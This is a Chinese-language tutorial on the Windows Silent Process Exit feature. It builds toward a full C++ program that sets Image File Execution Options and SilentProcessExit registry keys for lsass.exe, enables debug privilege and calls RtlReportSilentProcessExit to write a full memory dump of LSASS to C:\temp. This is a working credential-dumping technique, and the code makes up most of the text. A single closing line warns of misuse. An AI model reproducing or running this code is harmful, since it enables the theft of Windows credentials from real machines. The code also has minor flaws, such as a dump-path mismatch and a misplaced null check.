Windows静默退出与进程转储技术详解

1. 静默退出概述

静默退出（Silent Process Exit）是Windows 7及更高版本提供的一项功能，允许系统在特定进程退出时不显示任何提示信息。该功能主要用于：

• 监控关键进程的异常退出
• 在进程退出时执行自定义操作（如记录日志、创建转储文件）
• 避免用户看到不必要的错误提示

2. 注册表配置

2.1 基本配置

要启用对特定进程的静默退出监控，需要在注册表中进行以下设置：

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag

将GlobalFlag值设置为0x200以启用静默退出监控。

2.2 退出行为配置

可以配置进程静默退出时的行为，有两种配置方式：

1. 全局设置（适用于所有被监控进程）：

   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
   

2. 应用程序设置（针对特定进程）：

   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
   

3. 转储文件配置

3.1 报告模式

ReportingMode决定检测到静默退出时执行的操作，有三个可选值：

• 0x1：通知
• 0x2：本地转储（LOCAL_DUMP）
• 0x4：事件日志记录

对于转储文件生成，应设置为0x2。

3.2 转储文件位置

通过LocalDumpFolder指定转储文件存放路径：

LocalDumpFolder = "C:\temp"

3.3 转储类型

DumpType指定转储文件的详细程度：

• 0x0：自定义转储
• 0x1：迷你转储
• 0x2：完整转储（推荐）

4. 关键API函数

4.1 RtlReportSilentProcessExit

该函数用于通知Windows错误报告服务(WER)进程正在执行静默退出：

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
    _In_ HANDLE ProcessHandle,
    _In_ NTSTATUS ExitStatus
);

调用此API不会导致进程退出，但会触发WER服务启动WerFault.exe来转储进程。

4.2 注册表操作API

配置注册表需要使用以下API：

1. RegCreateKeyExW - 创建或打开注册表项

LSTATUS RegCreateKeyExW(
  HKEY                        hKey,
  LPCWSTR                     lpSubKey,
  DWORD                       Reserved,
  LPWSTR                      lpClass,
  DWORD                       dwOptions,
  REGSAM                      samDesired,
  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  PHKEY                       phkResult,
  LPDWORD                     lpdwDisposition
);

2. RegSetValueExW - 设置注册表值

LSTATUS RegSetValueExW(
  HKEY       hKey,
  LPCWSTR    lpValueName,
  DWORD      Reserved,
  DWORD      dwType,
  const BYTE *lpData,
  DWORD      cbData
);

5. 实现步骤

完整的实现流程如下：

1. 使用RegCreateKeyExW和RegSetValueExW设置：

   HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName
   HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
   

2. 使用相同API设置：

   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
   

   并配置ReportingMode、LocalDumpFolder和DumpType

3. 获取目标进程的PID（如lsass.exe）

4. 调用RtlReportSilentProcessExit触发转储

6. 完整代码示例

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

using namespace std;

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
    _In_ HANDLE ProcessHandle,
    _In_ NTSTATUS ExitStatus
);

RtlReportSilentProcessExit_func RtlReportSilentProcessExit = 
    (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), 
    "RtlReportSilentProcessExit");

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege,
    BOOL Enable,
    BOOL CurrentThread,
    PULONG Enabled
);

_RtlAdjustPrivilege RtlAdjustPrivilege = 
    (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), 
    "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
        return 1;
    }
    cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int GetPid() {
    HRESULT hr;
    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    
    if (Process32First(snapshot, &ed) == TRUE) {
        while (Process32Next(snapshot, &ed) == TRUE) {
            if ((string)ed.szExeFile == "lsass.exe") {
                pid = ed.th32ProcessID;
            }
        }
    }
    CloseHandle(snapshot);
    return pid;
}

int RegeditSet() {
    HKEY hKey = HKEY_LOCAL_MACHINE;
    LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
    HKEY phkResult;
    DWORD Result = NULL;
    
    // 设置Image File Execution Options
    LSTATUS RegCreate = RegCreateKeyExW(hKey, lpSubKey, 0, NULL, 
        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkResult, &Result);
    
    if (RegCreate != ERROR_SUCCESS) {
        cout << "[-] RegCreateKeyExW Image File Execution Options Error" << endl;
        return 1;
    }
    
    DWORD GlobalFlag = 0x200;
    LSTATUS RegSetValue_GlobalFlag = RegSetValueExW(phkResult, L"GlobalFlag", 0, 
        REG_DWORD, (const BYTE*)&GlobalFlag, sizeof(DWORD));
    
    // 设置SilentProcessExit
    LPCWSTR lpSubKey_Silent = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe";
    LSTATUS RegCreate_Silent = RegCreateKeyExW(hKey, lpSubKey_Silent, 0, NULL, 
        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkResult, &Result);
    
    if (RegCreate_Silent != ERROR_SUCCESS) {
        cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
        return 1;
    }
    
    DWORD ReportingMode = 0x2;
    WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
    DWORD DumpType = 0x2;
    
    LSTATUS RegSetValue_ReportingMode = RegSetValueExW(phkResult, L"ReportingMode", 0, 
        REG_DWORD, (const BYTE*)&ReportingMode, sizeof(DWORD));
    
    LSTATUS RegSetValue_LocalDumpFolder = RegSetValueExW(phkResult, L"LocalDumpFolder", 0, 
        REG_SZ, (const BYTE*)LocalDumpFolder, sizeof(LocalDumpFolder));
    
    LSTATUS RegSetValue_DumpType = RegSetValueExW(phkResult, L"DumpType", 0, 
        REG_DWORD, (const BYTE*)&DumpType, sizeof(DWORD));
    
    if (RegSetValue_ReportingMode != ERROR_SUCCESS || 
        RegSetValue_LocalDumpFolder != ERROR_SUCCESS || 
        RegSetValue_DumpType != ERROR_SUCCESS) {
        cout << "[-] RegSetValueExW has an Error " << endl;
        return 1;
    }
    cout << "[+] Success Setting All" << endl;
}

int main() {
    if (RegeditSet() == 1) {
        return 1;
    }
    
    DWORD pid = GetPid();
    cout << "[+] Lsass Pid is:" << pid << endl;
    
    SeDebugPrivilege();
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    if (hProcess == NULL) {
        cout << "[-] OpenProcess Error" << endl;
        return 1;
    }
    
    RtlReportSilentProcessExit(hProcess, 0);
    cout << "[+] Path:C:\\tmp" << endl;
}

7. 注意事项

1. 权限要求：操作需要管理员权限
2. lsass.exe特殊处理：直接使lsass.exe崩溃会导致系统重启，应使用RtlReportSilentProcessExit模拟退出
3. 转储文件大小：完整转储可能产生大文件，确保目标路径有足够空间
4. 安全考虑：此技术可能被恶意利用，生产环境应谨慎使用

8. 参考文档

Microsoft官方文档：静默进程退出的注册表项